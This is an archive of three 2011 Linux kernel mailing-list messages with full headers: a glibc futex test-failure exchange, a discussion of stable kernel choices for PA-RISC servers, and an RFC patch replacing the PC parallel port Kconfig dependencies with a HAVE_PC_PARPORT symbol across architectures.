Message-ID: <BANLkTik1kovLFG54LHom7Q8hpQugbXneVQ@mail.gmail.com>
References: <BANLkTi=ntF31tACKcowCtLDL728N3hNcvA@mail.gmail.com>
	<20110612203835.A675F5372@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1307911985 20728 80.91.229.12 (12 Jun 2011 20:53:05 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 12 Jun 2011 20:53:05 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 12 22:53:01 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QVreV-0006Sw-KV
	for glpp-linux-parisc@lo.gmane.org; Sun, 12 Jun 2011 22:52:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751208Ab1FLUw7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 12 Jun 2011 16:52:59 -0400
Original-Received: from mail-bw0-f46.google.com ([209.85.214.46]:50552 "EHLO
	mail-bw0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751186Ab1FLUw6 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 12 Jun 2011 16:52:58 -0400
Original-Received: by bwz15 with SMTP id 15so3284837bwz.19
        for <linux-parisc@vger.kernel.org>; Sun, 12 Jun 2011 13:52:57 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        bh=qQJkIQL5zueO4ikwOIdHana8CZWzU8P5gYU39yAsufg=;
        b=B+ctuXnZyOpwBRKNPTKGVQMM3uXqsTQmAHuxOHYfygd9D1WrOZ8dOLnEbGKeM/e3NE
         QcvXp4sIsCBbqXCTkBYmsjD4rDpDf7a57Vguj+8WP/0lrSrCmAU39yCI2bnmvOh2X2lJ
         cbiSi3rzE5f5Z2kHDt7cQReU60wScupS0M9BI=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        b=pd3dv3Kn+FeIcJW0E0MCFvt07cGCB591KJatV6i482HXnVYkdqzpNK8rd0qQgyH+ag
         UXVNgAIAgK7ILHqqnWYMAmwqfVCgLJgGggtgU2cBW/QL+MWW5S/rEQN43advXazRUuos
         zKqxwkbgJTO/JaU2d5aWLIRrLLIXCgUWI/SAg=
Original-Received: by 10.204.172.66 with SMTP id k2mr1048937bkz.125.1307911977432; Sun,
 12 Jun 2011 13:52:57 -0700 (PDT)
Original-Received: by 10.204.46.151 with HTTP; Sun, 12 Jun 2011 13:52:57 -0700 (PDT)
In-Reply-To: <20110612203835.A675F5372@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: 6A9ZLR6Dqu9IpAVb4T6ktQnfY2E
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3787
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3787>

On Sun, Jun 12, 2011 at 4:38 PM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
>> On Sun, Jun 12, 2011 at 2:47 PM, John David Anglin
>> <dave@hiauly1.hia.nrc.ca> wrote:
>> > There seems to be a problem with this futex call:
>> > futex(0xfdffb2c8, FUTEX_WAIT_BITSET_PRIVATE|FUTEX_CLOCK_REALTIME, 1, NULL, 0) =
>> > -1 EINVAL (Invalid argument)
>> >
>> > and the clock_gettime return seems wierd.
>>
>> Thanks, can you construct a test case from this that I can use to
>> debug the problem? If not, then I'll look at this after I look at the
>> testsuite failures.
>
> This is one of the testsuite failures (tst-timer4.c).

Perfect, I'll have a look then.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: debian hppa
Date: Tue, 14 Jun 2011 00:19:40 +0200
Lines: 86
Approved: news@gmane.org
Message-ID: <BANLkTin2DhKC_ss6UsCPYxmTR-UD=GY0uw@mail.gmail.com>
References: <20110527213516.GH21744@dannf.org> <20110527233738.0B95D4FCB@hiauly1.hia.nrc.ca>
 <BANLkTi=maOnkCLD9aU=JDYL9257EkpHxnQ@mail.gmail.com> <20110601021049.GB3984@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1308003613 11151 80.91.229.12 (13 Jun 2011 22:20:13 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 13 Jun 2011 22:20:13 +0000 (UTC)
Cc: dann frazier <dannf@dannf.org>, carlos@systemhalted.org,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 14 00:20:06 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QWFUJ-0003Q4-JU
	for glpp-linux-parisc@lo.gmane.org; Tue, 14 Jun 2011 00:20:03 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755010Ab1FMWUB convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 13 Jun 2011 18:20:01 -0400
Original-Received: from mail-qy0-f181.google.com ([209.85.216.181]:54381 "EHLO
	mail-qy0-f181.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754986Ab1FMWUB convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 13 Jun 2011 18:20:01 -0400
Original-Received: by qyg14 with SMTP id 14so2770841qyg.19
        for <linux-parisc@vger.kernel.org>; Mon, 13 Jun 2011 15:20:00 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:in-reply-to:references:from
         :date:x-google-sender-auth:message-id:subject:to:cc:content-type
         :content-transfer-encoding;
        bh=Ssbah8E3fBYHLEkUJHGJbZGBGPwBxK6oQ/BQeexm0rk=;
        b=QUlbsVrNRfEr9yQAoujHpkUwMAu8C+oUsgMC2rCxNt5MESfKapneXFzNaN0Ik63yqX
         zYRAs9U/ljUHfrx4LZJrlt3XQBR4OfM6HZOdRuvA8j+5sFMNQNK8BanBonuityCrMsUy
         hH+2ehALN/A9oZ1NwRvCAcRceg8TK3owmqMaw=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:from:date
         :x-google-sender-auth:message-id:subject:to:cc:content-type
         :content-transfer-encoding;
        b=RHdH5CdCKT6EyCbcV3zxwa9KAwQgc1Zyb8OzWonIEo1ilRLXJMbwNF9A8Weem+tf/0
         FKqJ2YkIxyMg8Cx47i3mjHD0MI7Mhm+YPAJaHj3dqtMShESuTHgCVXv4VqrnqmnWRWGn
         sgWFmnCWLVaCcPDDLsWOlHqFQJDpuzKSo+4bQ=
Original-Received: by 10.229.127.212 with SMTP id h20mr4553282qcs.78.1308003600164;
 Mon, 13 Jun 2011 15:20:00 -0700 (PDT)
Original-Received: by 10.229.238.70 with HTTP; Mon, 13 Jun 2011 15:19:40 -0700 (PDT)
In-Reply-To: <20110601021049.GB3984@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: KyGtnrxXRJhxJiM_GfNRPAoQZZQ
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3788
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3788>

On Wed, Jun 1, 2011 at 4:10 AM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
> On Sat, 28 May 2011, Thibaut VARENE wrote:

Sorry for the late answer, I got slightly off-track lately.

>> BTW, I'm still running 2.6.22.19 on most these machines, and I've ki=
nd
>> of lost track: do we have a known better kernel I could safely upgra=
de
>> to?
>
> For the rp3440, the answer is definitely yes. =C2=A0Unfortunately, 2.=
6.39
> stable doesn't have the pata_cmd64x patch needed for DVD drive, or
> James' latest cache fix. =C2=A0So, I moved on.
>
> I think the random segfault issue present on pa8800 and pa8900 machin=
es
> is largely fixed in 3.0.0-rc1, but it is clear linux kernels are much=
 like
> wine. =C2=A0I think USB support for the rp3440 is broken and causes H=
PMCs.
> So, I have it disabled.

So, I'm not sure what to make of it: what would be the preferred
stable SMP kernel for pa8800/8900 machines as of now? Note I'm not
using udev anymore on any of my machines.

> At this time, there is no released stable kernel that I consider reli=
able
> on hppa. =C2=A0However, most recent kernel releases work ok on UP mac=
hines.
> Of course, my testing tends to be with CPU intensive applications.
>
> I am convinced that the rapid development methodology used by linux i=
sn't
> suited to ports with limited support. =C2=A0Ideally, we should pick t=
he next
> kernel designated for longterm support and patch it.

I've been making similar claims in the past, so I can only concur.
Unfortunately the time I can personally devote to palinux is
asymptotically nearing 0 ;P

> For your other machines, the cache issues are less severe because
> they support non equivalent aliasing. =C2=A0However, don't throw away=
 2.6.22.19
> because udev-266 is broken without libc6-2.13. =C2=A0Installing udev-=
266
> without libc6-2.13 will crash your machine at boot if your kernel use=
s
> udev. =C2=A0USB support is broken without it, so recovery can be tric=
ky.

not using udev anymore, after having had to face too many breakages to
remember, and deeming udev useless on headless with servers
non-hotswapable hardware anyway...

> I would say your other machines need updating even if the process is
> somewhat rocky as that's the only way a broadbased release can be tes=
ted.

Well I can assign one machine (the a500, being easy to reboot/fix as
it is) to testing kernels, but for a stable kernel suitable for the
machines I'm e.g. assigning to the GCC Compile Farm[0], what would be
a good SMP kernel version to choose? I'm looking for the same level of
hassle-freeness as 2.6.22.19 since these machines are under relatively
heavy load and I cannot afford to tend to their care on a daily basis
;-)

Thanks for your help!

T-Bone

[0] http://gcc.gnu.org/wiki/CompileFarm

--=20
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Baechle <ralf@linux-mips.org>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel.cross-arch,gmane.linux.uclinux.microblaze,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel,gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel
Subject: [RFC,PATCH] Cleanup PC parallel port Kconfig
Date: Tue, 14 Jun 2011 20:08:50 +0100
Lines: 400
Approved: news@gmane.org
Message-ID: <20110614190850.GA13526@linux-mips.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1308078763 6746 80.91.229.12 (14 Jun 2011 19:12:43 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 14 Jun 2011 19:12:43 +0000 (UTC)
Cc: microblaze-uclinux@itee.uq.edu.au, linux-alpha@vger.kernel.org,
        linux-arm-kernel@lists.infradead.org, linux-cris-kernel@axis.com,
        linux-ia64@vger.kernel.org, linux-kernel@vger.kernel.org,
        linux-m68k@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org
To: linux-arch@vger.kernel.org,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Chen Liqin <liqin.chen@sunplusct.com>,
        Chris Metcalf <cmetcalf@tilera.com>,
Original-X-From: linux-mips-bounce@linux-mips.org Tue Jun 14 21:12:35 2011
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([78.24.191.182] helo=cvs.linux-mips.org)
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1QWZ2R-0001cE-JA
	for sgi-linux-mips@gmane.org; Tue, 14 Jun 2011 21:12:35 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:49299 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S1491028Ab1FNTMV (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Tue, 14 Jun 2011 21:12:21 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 14 Jun 2011 21:12:03 +0200 (CEST)
Original-Received: from h5.dl5rb.org.uk ([81.2.74.5]:48476 "EHLO duck.linux-mips.net"
        rhost-flags-OK-OK-OK-FAIL) by eddie.linux-mips.org with ESMTP
        id S1491017Ab1FNTL7 (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Tue, 14 Jun 2011 21:11:59 +0200
Original-Received: from duck.linux-mips.net (duck.linux-mips.net [127.0.0.1])
        by duck.linux-mips.net (8.14.4/8.14.3) with ESMTP id p5EJ9W2E021764;
        Tue, 14 Jun 2011 20:09:32 +0100
Original-Received: (from ralf@localhost)
        by duck.linux-mips.net (8.14.4/8.14.4/Submit) id p5EJ8odj021693;
        Tue, 14 Jun 2011 20:08:50 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-archive-position: 30383
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ralf@linux-mips.org
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:31476 gmane.linux.kernel.cross-arch:10017 gmane.linux.uclinux.microblaze:11598 gmane.linux.ports.alpha:1479 gmane.linux.ports.arm.kernel:120505 gmane.linux.ports.ia64:21712 gmane.linux.kernel:1154910 gmane.linux.ports.m68k:2456 gmane.linux.ports.parisc:3789 gmane.linux.ports.ppc64.devel:75120 gmane.linux.ports.sh.devel:11362
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/31476>

The PC parallel port Kconfig as acquired one of those messy terms to
describe it's architecture dependencies:

       depends on (!SPARC64 || PCI) && !SPARC32 && !M32R && !FRV && \
               (!M68K || ISA) && !MN10300 && !AVR32 && !BLACKFIN

This isn't just ugly - it also almost certainly describes the dependencies
too coarse grainedly.  This is an attempt at cleaing the mess up.

I tried to faithfully aproximate the old behaviour but the existing
behaviour seems inacurate if not wrong for some architectures or platforms.
To improve on this I rely on comments from other arch and platforms
maintainers.  Any system that can take PCI multi-IO card or has a PC-style
parallel port on the mainboard should probably should now do a
select HAVE_PC_PARPORT.  And some arch Kconfig files should further
restrict the use of HAVE_PC_PARPORT to only those platforms that actually
need it.

Thanks,

  Ralf

Signed-off-by: Ralf Baechle <ralf@linux-mips.org>

 arch/alpha/Kconfig      |    1 +
 arch/arm/Kconfig        |    1 +
 arch/cris/Kconfig       |    1 +
 arch/h8300/Kconfig      |    1 +
 arch/ia64/Kconfig       |    1 +
 arch/m68k/Kconfig.mmu   |    1 +
 arch/microblaze/Kconfig |    1 +
 arch/mips/Kconfig       |   16 ++++++++++++++++
 arch/parisc/Kconfig     |    1 +
 arch/powerpc/Kconfig    |    1 +
 arch/score/Kconfig      |    7 ++++---
 arch/sh/Kconfig         |    1 +
 arch/sparc/Kconfig      |    1 +
 arch/tile/Kconfig       |    1 +
 arch/unicore32/Kconfig  |    1 +
 arch/x86/Kconfig        |    1 +
 arch/xtensa/Kconfig     |    1 +
 drivers/parport/Kconfig |    6 ++++--
 18 files changed, 39 insertions(+), 5 deletions(-)

diff --git a/arch/alpha/Kconfig b/arch/alpha/Kconfig
index 60219bf..2ba8dd7 100644
--- a/arch/alpha/Kconfig
+++ b/arch/alpha/Kconfig
@@ -9,6 +9,7 @@ config ALPHA
 	select HAVE_PERF_EVENTS
 	select HAVE_DMA_ATTRS
 	select HAVE_GENERIC_HARDIRQS
+	select HAVE_PC_PARPORT
 	select GENERIC_IRQ_PROBE
 	select AUTO_IRQ_AFFINITY if SMP
 	select GENERIC_IRQ_SHOW
diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig
index 9adc278..2968751f 100644
--- a/arch/arm/Kconfig
+++ b/arch/arm/Kconfig
@@ -21,6 +21,7 @@ config ARM
 	select HAVE_KERNEL_LZO
 	select HAVE_KERNEL_LZMA
 	select HAVE_IRQ_WORK
+	select HAVE_PC_PARPORT
 	select HAVE_PERF_EVENTS
 	select PERF_USE_VMALLOC
 	select HAVE_REGS_AND_STACK_ACCESS_API
diff --git a/arch/cris/Kconfig b/arch/cris/Kconfig
index 17addac..2eda6cf 100644
--- a/arch/cris/Kconfig
+++ b/arch/cris/Kconfig
@@ -51,6 +51,7 @@ config CRIS
 	default y
 	select HAVE_IDE
 	select HAVE_GENERIC_HARDIRQS
+	select HAVE_PC_PARPORT
 	select GENERIC_IRQ_SHOW
 
 config HZ
diff --git a/arch/h8300/Kconfig b/arch/h8300/Kconfig
index 091ed61..da08646 100644
--- a/arch/h8300/Kconfig
+++ b/arch/h8300/Kconfig
@@ -3,6 +3,7 @@ config H8300
 	default y
 	select HAVE_IDE
 	select HAVE_GENERIC_HARDIRQS
+	select HAVE_PC_PARPORT
 	select GENERIC_IRQ_SHOW
 
 config SYMBOL_PREFIX
diff --git a/arch/ia64/Kconfig b/arch/ia64/Kconfig
index 38280ef..849805a 100644
--- a/arch/ia64/Kconfig
+++ b/arch/ia64/Kconfig
@@ -23,6 +23,7 @@ config IA64
 	select HAVE_ARCH_TRACEHOOK
 	select HAVE_DMA_API_DEBUG
 	select HAVE_GENERIC_HARDIRQS
+	select HAVE_PC_PARPORT
 	select GENERIC_IRQ_PROBE
 	select GENERIC_PENDING_IRQ if SMP
 	select IRQ_PER_CPU
diff --git a/arch/m68k/Kconfig.mmu b/arch/m68k/Kconfig.mmu
index 16539b1..6db5a3e 100644
--- a/arch/m68k/Kconfig.mmu
+++ b/arch/m68k/Kconfig.mmu
@@ -399,6 +399,7 @@ config ISA
 	bool
 	depends on Q40 || AMIGA_PCMCIA
 	default y
+	select PARPORT_PC
 	help
 	  Find out whether you have ISA slots on your motherboard.  ISA is the
 	  name of a bus system, i.e. the way the CPU talks to the other stuff
diff --git a/arch/microblaze/Kconfig b/arch/microblaze/Kconfig
index e446bab..ceac9b5 100644
--- a/arch/microblaze/Kconfig
+++ b/arch/microblaze/Kconfig
@@ -15,6 +15,7 @@ config MICROBLAZE
 	select OF
 	select OF_EARLY_FLATTREE
 	select HAVE_GENERIC_HARDIRQS
+	select HAVE_PC_PARPORT
 	select GENERIC_IRQ_PROBE
 	select GENERIC_IRQ_SHOW
 
diff --git a/arch/mips/Kconfig b/arch/mips/Kconfig
index 653da62..51170ba 100644
--- a/arch/mips/Kconfig
+++ b/arch/mips/Kconfig
@@ -39,6 +39,7 @@ config MIPS_ALCHEMY
 	select 64BIT_PHYS_ADDR
 	select CEVT_R4K_LIB
 	select CSRC_R4K_LIB
+	select HAVE_PC_PARPORT
 	select IRQ_CPU
 	select SYS_HAS_CPU_MIPS32_R1
 	select SYS_SUPPORTS_32BIT_KERNEL
@@ -127,6 +128,7 @@ config MIPS_COBALT
 	select CSRC_R4K
 	select CEVT_GT641XX
 	select DMA_NONCOHERENT
+	select HAVE_PC_PARPORT
 	select HW_HAS_PCI
 	select I8253
 	select I8259
@@ -185,6 +187,7 @@ config MACH_JAZZ
 	select CSRC_R4K
 	select DEFAULT_SGI_PARTITION if CPU_BIG_ENDIAN
 	select GENERIC_ISA_DMA
+	select HAVE_PC_PARPORT
 	select IRQ_CPU
 	select I8253
 	select I8259
@@ -266,6 +269,7 @@ config MIPS_MALTA
 	select CSRC_R4K
 	select DMA_NONCOHERENT
 	select GENERIC_ISA_DMA
+	select HAVE_PC_PARPORT
 	select IRQ_CPU
 	select IRQ_GIC
 	select HW_HAS_PCI
@@ -421,6 +425,7 @@ config SGI_IP22
 	select CSRC_R4K
 	select DEFAULT_SGI_PARTITION
 	select DMA_NONCOHERENT
+	select HAVE_PC_PARPORT
 	select HW_HAS_EISA
 	select I8253
 	select I8259
@@ -483,6 +488,7 @@ config SGI_IP28
 	select DEFAULT_SGI_PARTITION
 	select DMA_NONCOHERENT
 	select GENERIC_ISA_DMA_SUPPORT_BROKEN
+	select HAVE_PC_PARPORT
 	select IRQ_CPU
 	select HW_HAS_EISA
 	select I8253
@@ -517,6 +523,7 @@ config SGI_IP32
 	select CEVT_R4K
 	select CSRC_R4K
 	select DMA_NONCOHERENT
+	select HAVE_PC_PARPORT
 	select HW_HAS_PCI
 	select IRQ_CPU
 	select R5000_CPU_SCACHE
@@ -535,6 +542,7 @@ config SIBYTE_CRHINE
 	depends on EXPERIMENTAL
 	select BOOT_ELF32
 	select DMA_COHERENT
+	select HAVE_PC_PARPORT
 	select SIBYTE_BCM1120
 	select SWAP_IO_SPACE
 	select SYS_HAS_CPU_SB1
@@ -546,6 +554,7 @@ config SIBYTE_CARMEL
 	depends on EXPERIMENTAL
 	select BOOT_ELF32
 	select DMA_COHERENT
+	select HAVE_PC_PARPORT
 	select SIBYTE_BCM1120
 	select SWAP_IO_SPACE
 	select SYS_HAS_CPU_SB1
@@ -557,6 +566,7 @@ config SIBYTE_CRHONE
 	depends on EXPERIMENTAL
 	select BOOT_ELF32
 	select DMA_COHERENT
+	select HAVE_PC_PARPORT
 	select SIBYTE_BCM1125
 	select SWAP_IO_SPACE
 	select SYS_HAS_CPU_SB1
@@ -569,6 +579,7 @@ config SIBYTE_RHONE
 	depends on EXPERIMENTAL
 	select BOOT_ELF32
 	select DMA_COHERENT
+	select HAVE_PC_PARPORT
 	select SIBYTE_BCM1125H
 	select SWAP_IO_SPACE
 	select SYS_HAS_CPU_SB1
@@ -580,6 +591,7 @@ config SIBYTE_SWARM
 	select BOOT_ELF32
 	select DMA_COHERENT
 	select HAVE_PATA_PLATFORM
+	select HAVE_PC_PARPORT
 	select NR_CPUS_DEFAULT_2
 	select SIBYTE_SB1250
 	select SWAP_IO_SPACE
@@ -595,6 +607,7 @@ config SIBYTE_LITTLESUR
 	select BOOT_ELF32
 	select DMA_COHERENT
 	select HAVE_PATA_PLATFORM
+	select HAVE_PC_PARPORT
 	select NR_CPUS_DEFAULT_2
 	select SIBYTE_SB1250
 	select SWAP_IO_SPACE
@@ -608,6 +621,7 @@ config SIBYTE_SENTOSA
 	depends on EXPERIMENTAL
 	select BOOT_ELF32
 	select DMA_COHERENT
+	select HAVE_PC_PARPORT
 	select NR_CPUS_DEFAULT_2
 	select SIBYTE_SB1250
 	select SWAP_IO_SPACE
@@ -619,6 +633,7 @@ config SIBYTE_BIGSUR
 	bool "Sibyte BCM91480B-BigSur"
 	select BOOT_ELF32
 	select DMA_COHERENT
+	select HAVE_PC_PARPORT
 	select NR_CPUS_DEFAULT_4
 	select SIBYTE_BCM1x80
 	select SWAP_IO_SPACE
@@ -640,6 +655,7 @@ config SNI_RM
 	select DEFAULT_SGI_PARTITION if CPU_BIG_ENDIAN
 	select DMA_NONCOHERENT
 	select GENERIC_ISA_DMA
+	select HAVE_PC_PARPORT
 	select HW_HAS_EISA
 	select HW_HAS_PCI
 	select IRQ_CPU
diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index 65adc86..1be72d9 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -13,6 +13,7 @@ config PARISC
 	select HAVE_PERF_EVENTS
 	select GENERIC_ATOMIC64 if !64BIT
 	select HAVE_GENERIC_HARDIRQS
+	select HAVE_PC_PARPORT
 	select GENERIC_IRQ_PROBE
 	select IRQ_PER_CPU
 
diff --git a/arch/powerpc/Kconfig b/arch/powerpc/Kconfig
index 2729c66..b8328df 100644
--- a/arch/powerpc/Kconfig
+++ b/arch/powerpc/Kconfig
@@ -128,6 +128,7 @@ config PPC
 	select HAVE_REGS_AND_STACK_ACCESS_API
 	select HAVE_HW_BREAKPOINT if PERF_EVENTS && PPC_BOOK3S_64
 	select HAVE_GENERIC_HARDIRQS
+	select HAVE_PC_PARPORT
 	select HAVE_SPARSE_IRQ
 	select IRQ_PER_CPU
 	select GENERIC_IRQ_SHOW
diff --git a/arch/score/Kconfig b/arch/score/Kconfig
index 288add8..ba078d0 100644
--- a/arch/score/Kconfig
+++ b/arch/score/Kconfig
@@ -1,9 +1,10 @@
 menu "Machine selection"
 
 config SCORE
-       def_bool y
-       select HAVE_GENERIC_HARDIRQS
-       select GENERIC_IRQ_SHOW
+	def_bool y
+	select HAVE_GENERIC_HARDIRQS
+	select HAVE_PC_PARPORT
+	select GENERIC_IRQ_SHOW
 
 choice
 	prompt "System type"
diff --git a/arch/sh/Kconfig b/arch/sh/Kconfig
index f03338c..daa65f3 100644
--- a/arch/sh/Kconfig
+++ b/arch/sh/Kconfig
@@ -20,6 +20,7 @@ config SUPERH
 	select HAVE_SYSCALL_TRACEPOINTS
 	select HAVE_REGS_AND_STACK_ACCESS_API
 	select HAVE_GENERIC_HARDIRQS
+	select HAVE_PC_PARPORT
 	select HAVE_SPARSE_IRQ
 	select IRQ_FORCED_THREADING
 	select RTC_LIB
diff --git a/arch/sparc/Kconfig b/arch/sparc/Kconfig
index 253986b..3679d7c 100644
--- a/arch/sparc/Kconfig
+++ b/arch/sparc/Kconfig
@@ -520,6 +520,7 @@ config PCI
 	  CONFIG_PCI is needed for all JavaStation's (including MrCoffee),
 	  CP-1200, JavaEngine-1, Corona, Red October, and Serengeti SGSC.
 	  All of these platforms are extremely obscure, so say N if unsure.
+	select HAVE_PC_PARPORT if SPARC64
 
 config PCI_DOMAINS
 	def_bool PCI if SPARC64
diff --git a/arch/tile/Kconfig b/arch/tile/Kconfig
index 0249b8b..3e96eff 100644
--- a/arch/tile/Kconfig
+++ b/arch/tile/Kconfig
@@ -8,6 +8,7 @@ config TILE
 	select USE_GENERIC_SMP_HELPERS
 	select CC_OPTIMIZE_FOR_SIZE
 	select HAVE_GENERIC_HARDIRQS
+	select HAVE_PC_PARPORT
 	select GENERIC_IRQ_PROBE
 	select GENERIC_PENDING_IRQ if SMP
 	select GENERIC_IRQ_SHOW
diff --git a/arch/unicore32/Kconfig b/arch/unicore32/Kconfig
index e57dcce..3832e7e 100644
--- a/arch/unicore32/Kconfig
+++ b/arch/unicore32/Kconfig
@@ -8,6 +8,7 @@ config UNICORE32
 	select HAVE_KERNEL_BZIP2
 	select HAVE_KERNEL_LZO
 	select HAVE_KERNEL_LZMA
+	select HAVE_PC_PARPORT
 	select GENERIC_FIND_FIRST_BIT
 	select GENERIC_IRQ_PROBE
 	select GENERIC_IRQ_SHOW
diff --git a/arch/x86/Kconfig b/arch/x86/Kconfig
index da34972..750f584 100644
--- a/arch/x86/Kconfig
+++ b/arch/x86/Kconfig
@@ -70,6 +70,7 @@ config X86
 	select IRQ_FORCED_THREADING
 	select USE_GENERIC_SMP_HELPERS if SMP
 	select HAVE_BPF_JIT if (X86_64 && NET)
+	select HAVE_PC_PARPORT
 
 config INSTRUCTION_DECODER
 	def_bool (KPROBES || PERF_EVENTS)
diff --git a/arch/xtensa/Kconfig b/arch/xtensa/Kconfig
index 5d43c1f..d4c3040 100644
--- a/arch/xtensa/Kconfig
+++ b/arch/xtensa/Kconfig
@@ -8,6 +8,7 @@ config XTENSA
 	def_bool y
 	select HAVE_IDE
 	select HAVE_GENERIC_HARDIRQS
+	select HAVE_PC_PARPORT
 	select GENERIC_IRQ_SHOW
 	help
 	  Xtensa processors are 32-bit RISC machines designed by Tensilica
diff --git a/drivers/parport/Kconfig b/drivers/parport/Kconfig
index d92185a..095a8c7 100644
--- a/drivers/parport/Kconfig
+++ b/drivers/parport/Kconfig
@@ -35,8 +35,7 @@ if PARPORT
 
 config PARPORT_PC
 	tristate "PC-style hardware"
-	depends on (!SPARC64 || PCI) && !SPARC32 && !M32R && !FRV && \
-		(!M68K || ISA) && !MN10300 && !AVR32 && !BLACKFIN
+	depends on HAVE_PC_PARPORT
 	---help---
 	  You should say Y here if you have a PC-style parallel port. All
 	  IBM PC compatible computers and some Alphas have PC-style
